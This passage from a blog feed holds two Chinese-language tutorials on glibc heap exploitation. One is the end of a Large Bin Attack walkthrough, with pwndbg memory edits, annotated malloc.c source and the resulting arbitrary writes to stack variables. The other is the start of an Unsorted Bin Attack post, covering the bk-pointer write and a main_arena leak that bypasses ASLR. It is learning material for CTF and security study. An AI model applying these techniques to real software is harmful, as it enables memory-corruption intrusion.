0x00000000000003f1 [size]<br>0x13793370: 0x0000000000000000 [改为0x0] 0x00007fff88da8ba8 [改为stack_var1-0x10]<br>0x13793380: 0x0000000000000000 [改为0x0] 0x00007fff88da8ba0 [改为stack_var2-0x20]<br></code></pre></td></tr></table></figure><p>可以看到,有五处内容被修改:</p><ol><li>size部分由原来的0x411修改成0x3f1</li><li>fd部分置空(不超过一个地址位长度的数据都可以)</li><li>bk由0x7ffff7dd1f68修改成了stack_var1_addr - 0x10(0x00007fff88da8ba8)</li><li>fd_nextsize置空(不超过一个地址位长度的数据都可以)</li><li>bk_nextsize修改成stack_var2_addr - 0x20(0x00007fff88da8ba0)</li></ol><p><img src="/images/largebin-attack/1.png"></p><p>这里需要注意的是一个chunk的bk指向的是它的后一个被释放chunk的头指针,bk_nextsize指向后一个与当前chunk大小不同的第一个空闲块的头指针:</p><ul><li>也就是说当前P2的bk指向的是一个以 <code>stack_var1_addr - 0x10</code> 为头指针的chunk,这里记做fake_chunk1,那么就意味着 <code>stack_var1_addr</code> 是作为这个fake_chunk1的fd指针。那么此时 <code>P2 --> bk --> fd</code> 就是 <code>stack_var1_addr</code></li><li>P2的fd_nextsize指向的是一个以 <code>stack_var2_addr</code> 为头指针的chunk,这里记做fake_chunk2,那么就意味着<code>stack_var2_addr</code> 是作为这个fake_chunk2的fd_nextsize指针。那么此时 <code>P2 --> bk_nextsize --> fd_nextsize</code> 就是 <code>stack_var2_addr</code></li></ul><h3 id="P3挂进Large-Bin的过程"><a href="#P3挂进Large-Bin的过程" class="headerlink" title="P3挂进Large Bin的过程"></a>P3挂进Large Bin的过程</h3><p>接下来我们在第36行下断点,使程序执行 <code>malloc(0x90);</code> 完成申请size为0xa0的chunk。这一步也很关键,与第一次分割chunk的过程一致,首先从unsorted bin中拿出最后一个chunk(P1_left size = 0x290),并放入small bin中标记该序列的small bin有空闲chunk。再从unsorted bin中拿出最后一个chunk(P3 size = 0x410),P3的size是大于0x3f0的,所以理所应当应该向large bin中挂</p><h3 id="制定P2和P3两个large-chunk的fd-nextsize和bk-nextsize,修改stack-var2的内容"><a href="#制定P2和P3两个large-chunk的fd-nextsize和bk-nextsize,修改stack-var2的内容" class="headerlink" title="制定P2和P3两个large chunk的fd_nextsize和bk_nextsize,修改stack_var2的内容"></a>制定P2和P3两个large chunk的fd_nextsize和bk_nextsize,修改stack_var2的内容</h3><p>从unsorted bin中拿出P3的时候,首先会判断P3应该归属的bin的类型,这里根据size判断出是large bin。由于large chunk的数据结构是带有fd_nextsize和bk_nextsize的,且large bin中已经存在了P2这个块,所以首先需要进行比较两个large chunk的大小,并根据大小情况制定两个large chunk的fd_nextsize、bk_nextsize、fd、bk的指针。在2.23的glibc中的malloc.c文件中,比较的过程如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">while</span> ((<span class="hljs-type">unsigned</span> <span class="hljs-type">long</span>) size < fwd->size)<br> {<br> fwd = fwd->fd_nextsize;<br> assert ((fwd->size & NON_MAIN_ARENA) == <span class="hljs-number">0</span>);<br> }<br><br></code></pre></td></tr></table></figure><p>large bin中的chunk如果index相同的情况下,是按照由大到小的顺序排列的。也就是说index相同的情况下size越小的chunk,越接近large bin。这段代码就是遍历比较P3_size < P2_size的过程,我们只看while循环中的条件即可,这里的条件是当前从unsorted bin中拿出的chunk的size是否小于large bin中前一个被释放chunk的size,如果小于,则执行while循环中的流程。(重点)但由于P2的size被我们修改成了0x3f0(重点),P3的size为0x410,P3_size > P2_size,所以不执行while循环中的代码,直接进入接下来的判断</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">if</span> ((<span class="hljs-type">unsigned</span> <span class="hljs-type">long</span>) size == (<span class="hljs-type">unsigned</span> <span class="hljs-type">long</span>) fwd->size)<br> <span class="hljs-comment">/* Always insert in the second position. */</span><br> fwd = fwd->fd;<br></code></pre></td></tr></table></figure><p>前一个判断的是P3_size < P2_size的情况,那么接下来判断的就是P3_size == P2_size的情况,很显然也不是,所以这条if判断也不执行</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">else</span><br> {<br> victim->fd_nextsize = fwd;<br> victim->bk_nextsize = fwd->bk_nextsize;<br> fwd->bk_nextsize = victim;<br> victim->bk_nextsize->fd_nextsize = victim;<br> }<br>bck = fwd->bk;<br></code></pre></td></tr></table></figure><p>那么就只剩下一种情况了,就是比较P3_size > P2_size的情况下执行上图中的内容,else中执行的就是将P3插入large bin中并制定P2和P3两个large chunk的fd_nextsize和bk_nextsize的过程。这里我们先不着急解释代码,回顾一下前面修改P2结构内容的情况:</p><ul><li><code>P2->bk->fd = stack_var1_addr</code>(P2的fd指向的堆块的fd指向的是stack_var1的地址)</li><li><code>P2->bk_nextsize->fd_nextsize = stack_var2_addr</code>(P2的bk_nextsize指向的堆块的fd_nextsize指向的是stack_var2的地址)</li></ul><p>来说一下人话:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">else</span><br> {<br> victim->fd_nextsize = fwd; <span class="hljs-comment">//P3的fd_nextsize要修改成P2的头指针</span><br> victim->bk_nextsize = fwd->bk_nextsize; <span class="hljs-comment">//P3的bk_nextsize要修改成P2的bk_nextsize指向的地址</span><br> fwd->bk_nextsize = victim; <span class="hljs-comment">//P2的bk_nextsize要修改成P3的头指针</span><br> victim->bk_nextsize->fd_nextsize = victim; <span class="hljs-comment">//P3的bk_nextsize所指向的堆块的fd_nextsize要修改成P3的头指针</span><br> }<br>bck = fwd->bk; <span class="hljs-comment">//bck等于P2的bk</span><br></code></pre></td></tr></table></figure><p>那么这里就像是做一个二元一次方程组一样,已知条件为:</p><ul><li>P2->bk_nextsize->fd_nextsize = stack_var2_addr</li><li>P3->bk_nextsize = P2->bk_nextsize</li><li>P3->bk_nextsize->fd_nextsize = P3</li></ul><p>那么就可以导出结论:stack_var2的值 = P3头指针(),所以stack_var2变量中的内容就被修改成了P3的头指针。</p><h3 id="制定P2和P3两个large-chunk的fd和bk,修改stack-var1的内容"><a href="#制定P2和P3两个large-chunk的fd和bk,修改stack-var1的内容" class="headerlink" title="制定P2和P3两个large chunk的fd和bk,修改stack_var1的内容"></a>制定P2和P3两个large chunk的fd和bk,修改stack_var1的内容</h3><p>在执行完对P3和P2的fd_nextsize和bk_nextsize的制定之后,还需要对两个large chunk的fd和bk进行制定:<br>注:bck是P2的bk指针,victim是P3的头指针</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs c">mark_bin (av, victim_index);<br>victim->bk = bck; <span class="hljs-comment">// P3的bk指针要等于P2的bk指针</span><br>victim->fd = fwd; <span class="hljs-comment">// P3的fd指针要等于P2的头指针</span><br>fwd->bk = victim; <span class="hljs-comment">// P2的bk指针要等于P3的头指针</span><br>bck->fd = victim; <span class="hljs-comment">// P2的bk指针指向的堆块的fd指针要等于P3的头指针</span><br><br></code></pre></td></tr></table></figure><p>那么这依然还是一个二元一次方程组,已知条件为:</p><ul><li>P2->bk->fd = stack_var1_addr</li><li>P2->bk->fd = P3</li></ul><p>那么即可的出结论stack_var1的值 = P3的头指针,所以stack_var1的值在这个流程中被修改成了P3的头指针</p><h3 id="查看修改结果"><a href="#查看修改结果" class="headerlink" title="查看修改结果"></a>查看修改结果</h3><p>最后我们将直接运行程序至结束,再一次查看一下此时stack_var1和stack_var2中的值</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">c</span><br>Continuing.<br>stack_var1 (0x7fff88da8bb8): 0x137937a0<br>stack_var2 (0x7fff88da8bc0): 0x137937a0<br>[Inferior 1 (process 540) exited normally]<br><span class="hljs-meta prompt_">pwndbg></span><br></code></pre></td></tr></table></figure><p>可以看到此时stack_var1和stack_var2中的值已经被修改成了P3的头指针0x137937a0</p><h2 id="Large-Bin-Attack利用条件"><a href="#Large-Bin-Attack利用条件" class="headerlink" title="Large Bin Attack利用条件"></a>Large Bin Attack利用条件</h2><ul><li>可以修改一个large bin chunk的data</li><li>从unsorted bin中来的large bin chunk要紧跟在被构造过的chunk的后面</li></ul><p>满足这两个条件后,我们就能让glibc向攻击者指定的任意地址,写入一个堆地址(通常是chunk的地址),而一旦我们能控制某个地址的内容,接着我们在那里伪造一个chunk,进而触发后续的漏洞利用链。</p><p>malloc.c中从unsorted bin中摘除chunk完整过程代码:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br></pre></td><td class="code"><pre><code class="hljs shell">/* remove from unsorted list */<br>unsorted_chunks (av)->bk = bck;<br><span class="hljs-meta prompt_">bck-></span><span class="language-bash">fd = unsorted_chunks (av);</span><br><br>/* Take now instead of binning if exact fit */<br><br>if (size == nb)<br> {<br> set_inuse_bit_at_offset (victim, size);<br> if (av != &main_arena)<br> victim->size |= NON_MAIN_ARENA;<br> check_malloced_chunk (av, victim, nb);<br> void *p = chunk2mem (victim);<br> alloc_perturb (p, bytes);<br> return p;<br> }<br><br>/* place chunk in bin */<br><br>if (in_smallbin_range (size))<br> {<br> victim_index = smallbin_index (size);<br> bck = bin_at (av, victim_index);<br> fwd = bck->fd;<br> }<br>else<br> {<br> victim_index = largebin_index (size);<br> bck = bin_at (av, victim_index);<br> fwd = bck->fd;<br><br> /* maintain large bins in sorted order */<br> if (fwd != bck)<br> {<br> /* Or with inuse bit to speed comparisons */<br> size |= PREV_INUSE;<br> /* if smaller than smallest, bypass loop below */<br> assert ((bck->bk->size & NON_MAIN_ARENA) == 0);<br> if ((unsigned long) (size) < (unsigned long) (bck->bk->size))<br> {<br> fwd = bck;<br> bck = bck->bk;<br><br> victim->fd_nextsize = fwd->fd;<br> victim->bk_nextsize = fwd->fd->bk_nextsize;<br> fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;<br> }<br> else<br> {<br> assert ((fwd->size & NON_MAIN_ARENA) == 0);<br> while ((unsigned long) size < fwd->size)<br> {<br> fwd = fwd->fd_nextsize;<br> assert ((fwd->size & NON_MAIN_ARENA) == 0);<br> }<br><br> if ((unsigned long) size == (unsigned long) fwd->size)<br> /* Always insert in the second position. */<br> fwd = fwd->fd;<br> else<br> {<br> victim->fd_nextsize = fwd;<br> victim->bk_nextsize = fwd->bk_nextsize;<br> fwd->bk_nextsize = victim;<br> victim->bk_nextsize->fd_nextsize = victim;<br> }<br> bck = fwd->bk;<br> }<br> }<br> else<br> victim->fd_nextsize = victim->bk_nextsize = victim;<br> }<br><br>mark_bin (av, victim_index);<br><span class="hljs-meta prompt_">victim-></span><span class="language-bash">bk = bck;</span><br><span class="hljs-meta prompt_">victim-></span><span class="language-bash">fd = fwd;</span><br><span class="hljs-meta prompt_">fwd-></span><span class="language-bash">bk = victim;</span><br><span class="hljs-meta prompt_">bck-></span><span class="language-bash">fd = victim;</span><br><br></code></pre></td></tr></table></figure>]]></content>
<categories>
<category>Heap</category>
</categories>
<tags>
<tag>Heap</tag>
<tag>Pwn</tag>
<tag>Large Bin Attack</tag>
</tags>
</entry>
<entry>
<title>花与堆之Unsorted Bin Attack</title>
<link href="/2026/04/06/unsortedbin-attack/"/>
<url>/2026/04/06/unsortedbin-attack/</url>
<content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><ul><li>Unsorted Bin Attack,顾名思义,该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关。</li><li>Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。</li><li>Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值。</li></ul><h3 id="回顾"><a href="#回顾" class="headerlink" title="回顾"></a>回顾</h3><h4 id="Unsorted-Bin的基本来源"><a href="#Unsorted-Bin的基本来源" class="headerlink" title="Unsorted Bin的基本来源"></a>Unsorted Bin的基本来源</h4><ol><li>当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。</li><li>释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。</li><li>当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。</li></ol><h4 id="基本使用情况"><a href="#基本使用情况" class="headerlink" title="基本使用情况"></a>基本使用情况</h4><ol><li>Unsorted Bin 在使用的过程中遍历顺序是 FIFO (First in first out),<strong>即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取</strong>。</li><li>在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。</li></ol><h4 id="深入看看unsorted-bin实现"><a href="#深入看看unsorted-bin实现" class="headerlink" title="深入看看unsorted bin实现"></a>深入看看unsorted bin实现</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">while</span> ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))<br> {<br> bck = victim->bk;<br> <span class="hljs-comment">//size check</span><br> <span class="hljs-keyword">if</span> (__builtin_expect (victim->size <= <span class="hljs-number">2</span> * SIZE_SZ, <span class="hljs-number">0</span>)<br> || __builtin_expect (victim->size > av->system_mem, <span class="hljs-number">0</span>))<br> malloc_printerr (check_action, <span class="hljs-string">"malloc(): memory corruption"</span>,<br> chunk2mem (victim), av);<br> size = chunksize (victim);<br><br> <span class="hljs-comment">/*</span><br><span class="hljs-comment"> If a small request, try to use last remainder if it is the</span><br><span class="hljs-comment"> only chunk in unsorted bin. This helps promote locality for</span><br><span class="hljs-comment"> runs of consecutive small requests. This is the only</span><br><span class="hljs-comment"> exception to best-fit, and applies only when there is</span><br><span class="hljs-comment"> no exact fit for a small chunk.</span><br><span class="hljs-comment"> */</span><br> <span class="hljs-comment">//last remainder first</span><br> <span class="hljs-keyword">if</span> (in_smallbin_range (nb) &&<br> bck == unsorted_chunks (av) &&<br> victim == av->last_remainder &&<br> (<span class="hljs-type">unsigned</span> <span class="hljs-type">long</span>) (size) > (<span class="hljs-type">unsigned</span> <span class="hljs-type">long</span>) (nb + MINSIZE))<br> {<br> <span class="hljs-comment">/* split and reattach remainder */</span><br> remainder_size = size - nb;<br> remainder = chunk_at_offset (victim, nb);<br> <span class="hljs-comment">//cut and put the remained part back to unsorted list</span><br> unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;<br> av->last_remainder = remainder;<br> remainder->bk = remainder->fd = unsorted_chunks (av);<br> <span class="hljs-keyword">if</span> (!in_smallbin_range (remainder_size))<br> {<br> remainder->fd_nextsize = <span class="hljs-literal">NULL</span>;<br> remainder->bk_nextsize = <span class="hljs-literal">NULL</span>;<br> }<br><br> set_head (victim, nb | PREV_INUSE |<br> (av != &main_arena ? NON_MAIN_ARENA : <span class="hljs-number">0</span>));<br> set_head (remainder, remainder_size | PREV_INUSE);<br> set_foot (remainder, remainder_size);<br><br> check_malloced_chunk (av, victim, nb);<br> <span class="hljs-type">void</span> *p = chunk2mem (victim);<br> alloc_perturb (p, bytes);<br> <span class="hljs-comment">//return to user</span><br> <span class="hljs-keyword">return</span> p;<br> }<br><br> <span class="hljs-comment">/* remove from unsorted list */</span><br> <span class="hljs-comment">//unsorted bin attack</span><br> unsorted_chunks (av)->bk = bck;<br> bck->fd = unsorted_chunks (av);<br><br> <span class="hljs-comment">/* Take now instead of binning if exact fit */</span><br><br> <span class="hljs-keyword">if</span> (size == nb)<br> {<br> set_inuse_bit_at_offset (victim, size);<br> <span class="hljs-keyword">if</span> (av != &main_arena)<br> victim->size |= NON_MAIN_ARENA;<br> check_malloced_chunk (av, victim, nb);<br> <span class="hljs-type">void</span> *p = chunk2mem (victim);<br> alloc_perturb (p, bytes);<br> <span class="hljs-keyword">return</span> p;<br> }<br><br> <span class="hljs-comment">/* place chunk in bin */</span><br><br> <span class="hljs-keyword">if</span> (in_smallbin_range (size))<br> {<br> victim_index = smallbin_index (size);<br> bck = bin_at (av, victim_index);<br> fwd = bck->fd;<br> }<br> <span class="hljs-keyword">else</span><br> {<br> victim_index = largebin_index (size);<br> bck = bin_at (av, victim_index);<br> fwd = bck->fd;<br><br> <span class="hljs-comment">/* maintain large bins in sorted order */</span><br> <span class="hljs-keyword">if</span> (fwd != bck)<br> {<br> <span class="hljs-comment">/* Or with inuse bit to speed comparisons */</span><br> size |= PREV_INUSE;<br> <span class="hljs-comment">/* if smaller than smallest, bypass loop below */</span><br> assert ((bck->bk->size & NON_MAIN_ARENA) == <span class="hljs-number">0</span>);<br> <span class="hljs-keyword">if</span> ((<span class="hljs-type">unsigned</span> <span class="hljs-type">long</span>) (size) < (<span class="hljs-type">unsigned</span> <span class="hljs-type">long</span>) (bck->bk->size))<br> {<br> fwd = bck;<br> bck = bck->bk;<br><br> victim->fd_nextsize = fwd->fd;<br> victim->bk_nextsize = fwd->fd->bk_nextsize;<br> fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;<br> }<br> <span class="hljs-keyword">else</span><br> {<br> assert ((fwd->size & NON_MAIN_ARENA) == <span class="hljs-number">0</span>);<br> <span class="hljs-keyword">while</span> ((<span class="hljs-type">unsigned</span> <span class="hljs-type">long</span>) size < fwd->size)<br> {<br> fwd = fwd->fd_nextsize;<br> assert ((fwd->size & NON_MAIN_ARENA) == <span class="hljs-number">0</span>);<br> }<br><br> <span class="hljs-keyword">if</span> ((<span class="hljs-type">unsigned</span> <span class="hljs-type">long</span>) size == (<span class="hljs-type">unsigned</span> <span class="hljs-type">long</span>) fwd->size)<br> <span class="hljs-comment">/* Always insert in the second position. */</span><br> fwd = fwd->fd;<br> <span class="hljs-keyword">else</span><br> {<br> victim->fd_nextsize = fwd;<br> victim->bk_nextsize = fwd->bk_nextsize;<br> fwd->bk_nextsize = victim;<br> victim->bk_nextsize->fd_nextsize = victim;<br> }<br> bck = fwd->bk;<br> }<br> }<br> <span class="hljs-keyword">else</span><br> victim->fd_nextsize = victim->bk_nextsize = victim;<br> }<br><br> mark_bin (av, victim_index);<br> victim->bk = bck;<br> victim->fd = fwd;<br> fwd->bk = victim;<br> bck->fd = victim;<br><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> MAX_ITERS 10000</span><br> <span class="hljs-keyword">if</span> (++iters >= MAX_ITERS)<br> <span class="hljs-keyword">break</span>;<br> }<br></code></pre></td></tr></table></figure><blockquote><p><code>unsorted bin</code> 也是以链表的方式进行组织的,和 <code>fast bin</code> 不同的是其分配方式是 FIFO,即一个chunk放入 <code>unsorted bin</code>链时将该堆块插入链表头,而从这个链取堆块的时候是从尾部开始的,因此 <code>unsorted bin</code> <strong>遍历堆块的时候使用的是bk指针</strong>。</p></blockquote><ol><li><p>首先取出链表尾部的chunk记作 <code>victim</code> ,倒数第二个chunk记作 <code>bck</code>,并对 <code>victm</code> 的size位进行检查,这里的约束比较宽松:计算出chunk的大小后,假如我们申请的chunk属于 <code>small bin</code> 范围,且 <code>last remainder</code> 是 <code>unsorted bin</code> 中的唯一一个chunk时,就优先使用这个块,如果该块满足条件则对其进行切割和脱链操作。</p></li><li><p>如果上述条件不满足,则将 <code>victim</code> 从链中取出之后放到合适的链中或返回给用户。其中 <code>unsorted_chunks (av)->bk = bck;bck->fd = unsorted_chunks (av);</code> 是 <code>unsorted bin attack</code> 产生的原因:一旦我们绕过之前的检查到达这里,在可以控制 <code>victim->bk</code> 即 <code>bck</code> 的情况下我们可以往 <code>bck->fd写入unsorted_chunks(av)即*(bck+0x10)=unsorted(av)</code>。</p></li><li><p>继续走,下面一个代码块是指如果我们请求的 <code>nb</code> 同 <code>victim</code> 的大小恰好吻合,就直接返回这个块给用户。</p></li><li><p>如果之前的条件都不满足,意味着目前的 <code>victim</code> 不能满足用户的需求,需要根据其size放入 <code>small bin</code> 或<code>large bin</code> 的链,其中在后者实现中存在large bin attack,由于同本文无关就不再进一步展开,最后是unlink将victim彻底脱链。</p></li></ol><h2 id="Unsorted-Bin-Leak"><a href="#Unsorted-Bin-Leak" class="headerlink" title="Unsorted Bin Leak"></a>Unsorted Bin Leak</h2><h3 id="Unsorted-Bin的结构"><a href="#Unsorted-Bin的结构" class="headerlink" title="Unsorted Bin的结构"></a>Unsorted Bin的结构</h3><p>经过上面的代码解读后,我们了解到 Unsorted Bin 在管理时为循环双向链表,若 Unsorted Bin 中有两个 bin,那么该链表结构如下:<br><img src="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/figure/unsortedbins-struct.jpg" alt="unsortedbins-struct"></p><h3 id="Leak原理"><a href="#Leak原理" class="headerlink" title="Leak原理"></a>Leak原理</h3><blockquote><p>如果我们可以把正确的 fd 指针 leak 出来,就可以获得一个与 main_arena 有固定偏移的地址,这个偏移可以通过调试得出。而main_arena 是一个 struct malloc_state 类型的全局变量,是 ptmalloc 管理主分配区的唯一实例。说到全局变量,立马可以想到他会被分配在 .data 或者 .bss 等段上,那么如果我们有进程所使用的 libc 的 .so 文件的话,我们就可以获得 main_arena 与 libc 基地址的偏移,实现对 ASLR 的绕过。</p></blockquote><h4 id="通过-malloc-trim-函数得出"><a href="#通过-malloc-trim-函数得出" class="headerlink" title="通过 malloc_trim 函数得出"></a>通过 <strong>malloc_trim</strong> 函数得出</h4><p>在 malloc.c 中有如下代码:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span><br>__malloc_trim (<span class="hljs-type">size_t</span> s)<br>{<br> <span class="hljs-type">int</span> result = <span class="hljs-number">0</span>;<br><br> <span class="hljs-keyword">if</span> (__malloc_initialized < <span class="hljs-number">0</span>)<br> ptmalloc_init ();<br><br> mstate ar_ptr = &main_arena;<span class="hljs-comment">//<=here!</span><br> <span class="hljs-keyword">do</span><br> {<br> __libc_lock_lock (ar_ptr->mutex);<br> result |= mtrim (ar_ptr, s);<br> __libc_lock_unlock (ar_ptr->mutex);<br><br> ar_ptr = ar_ptr->next;<br> }<br> <span class="hljs-keyword">while</span> (ar_ptr != &main_arena);<br><br> <span class="hljs-keyword">return</span> result;<br>}<br></code></pre></td></tr></table></figure><p>注意到 <code>mstate ar_ptr = &main_arena;</code> 这里对 <code>main_arena</code> 进行了访问,所以我们可以通过IDA等工具分析出偏移:<br><img src="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/figure/malloc-trim-ida.png"></p><p>如图所示将 <code>.so</code> 文件放入IDA中,找到 <code>malloc_trim</code> 函数就可以获得偏移了。</p><h4 id="通过-malloc-hook-直接算出"><a href="#通过-malloc-hook-直接算出" class="headerlink" title="通过 __malloc_hook 直接算出"></a>通过 __malloc_hook 直接算出</h4><p>在前文的 Fast Bin Attack 学习中,我们了解到:<code>main_arena</code> 和 <code>__malloc_hook</code> 的地址差是 0x10,而大多数libc都可以直接查出 <code>__malloc_hook</code> 地址,这样就可以大幅减少工作量,以pwntools为例:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs python">main_arena_offset = ELF(<span class="hljs-string">"libc.so.6"</span>).symbols[<span class="hljs-string">"__malloc_hook"</span>] + <span class="hljs-number">0x10</span><br></code></pre></td></tr></table></figure><p>这样就可以获得 <code>main_arena</code> 与基地址的偏移了。</p><h3 id="实现-Leak-的方法"><a href="#实现-Leak-的方法" class="headerlink" title="实现 Leak 的方法"></a>实现 Leak 的方法</h3><blockquote><p>一般来说,要实现 leak,需要有 UAF,将一个 chunk 放入 